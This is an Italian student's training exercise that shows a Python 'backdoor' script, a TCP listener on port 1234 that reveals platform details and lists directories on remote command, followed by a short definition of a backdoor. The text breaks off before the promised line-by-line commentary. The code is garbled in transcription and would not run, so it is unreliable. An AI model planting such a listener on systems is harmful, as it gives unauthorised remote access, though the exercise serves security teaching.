BENVENUTI LUIGI, 08/02/2024

L'esercizio di oggi consiste nel commentare/spiegare questo codice che fa riferimento ad una backdoor. Inoltre spiegare cos'è una backdoor.

```
kali@kali: ~/Desktop/Python_Samples
File Actions Edit View Help
 GNU nano 6.0
                                        backdoor.py *
  port socket, platform, os
SRV_ADDR = ""
SRV_PORT = 1234
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()
print ("client connected: ", address)
while 1:
        data = connection.recv(1024)
    except:continue
    if(data.decode('utf-8') = '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') = '2'):
        data = connection.recv(1024)
            filelist = os.listdir(data.decode('utf-8'))
            tosend =
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') = '0'):
        connection.close()
        connection, address = s.accept()
```

Partiamo dal concetto di backdoor: una **backdoor** è rappresentata da righe di codice informatico grazie alle quali un utente può entrare come amministratore all'interno di siti web e computer senza avere alcun accesso autorizzato.

L'esercizio di oggi ci mette davanti ad un codice nel quale un host si mette in attesa di una connessione client. Con input 1 ci vengono segnalate le informazioni della piattaforma, con input 2 ci viene stampata una lista di file, con input 0 viene chiusa la connessione.

Vediamo l'esercizio con commento: